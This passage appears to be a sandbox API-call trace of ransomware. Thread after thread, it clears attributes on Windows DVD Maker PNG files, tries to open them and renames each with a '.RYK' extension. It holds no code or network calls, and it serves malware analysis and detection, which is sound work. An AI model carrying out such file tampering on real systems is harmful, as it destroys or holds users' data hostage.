	[0176.295] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 783
	os_tid = 0x1338

	[0176.314] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0176.320] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 784
	os_tid = 0x133c

	[0176.339] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0176.345] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 785
	os_tid = 0x1340

	[0176.362] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0176.367] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 786
	os_tid = 0x1344

	[0176.386] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0176.392] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 787
	os_tid = 0x1348

	[0176.411] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png", dwFileAttributes=0x80) returned 0
	[0176.417] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 788
	os_tid = 0x134c

	[0176.908] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0177.115] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 789
	os_tid = 0x1350

	[0176.909] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0177.115] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 790
	os_tid = 0x1354

	[0176.911] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", dwFileAttributes=0x80) returned 0
	[0176.911] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 791
	os_tid = 0x1358

	[0176.913] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", dwFileAttributes=0x80) returned 0
	[0176.913] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.913] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 792
	os_tid = 0x135c

	[0176.915] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0177.116] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 793
	os_tid = 0x1360

	[0176.916] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0176.917] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 794
	os_tid = 0x1364

	[0176.919] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0177.117] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.248] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 795
	os_tid = 0x1368

	[0176.921] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0176.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 796
	os_tid = 0x136c

	[0176.924] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0177.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 797
	os_tid = 0x1370

	[0177.120] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0177.293] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 798
	os_tid = 0x1374

	[0177.445] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", dwFileAttributes=0x80) returned 0
	[0177.618] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.772] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 799
	os_tid = 0x1378

	[0177.446] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0177.619] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 800
	os_tid = 0x137c

	[0177.448] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", dwFileAttributes=0x80) returned 0
	[0177.449] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 801
	os_tid = 0x1380

	[0177.452] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", dwFileAttributes=0x80) returned 0
	[0177.452] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 802
	os_tid = 0x1384

	[0177.454] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", dwFileAttributes=0x80) returned 0
	[0177.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 803
	os_tid = 0x1388

	[0177.458] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0177.458] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 804
	os_tid = 0x138c

	[0177.462] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0177.462] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 805
	os_tid = 0x1390

	[0177.464] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0177.619] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.768] CloseHandle (hObject=0xffffffffffffffff) returned 0
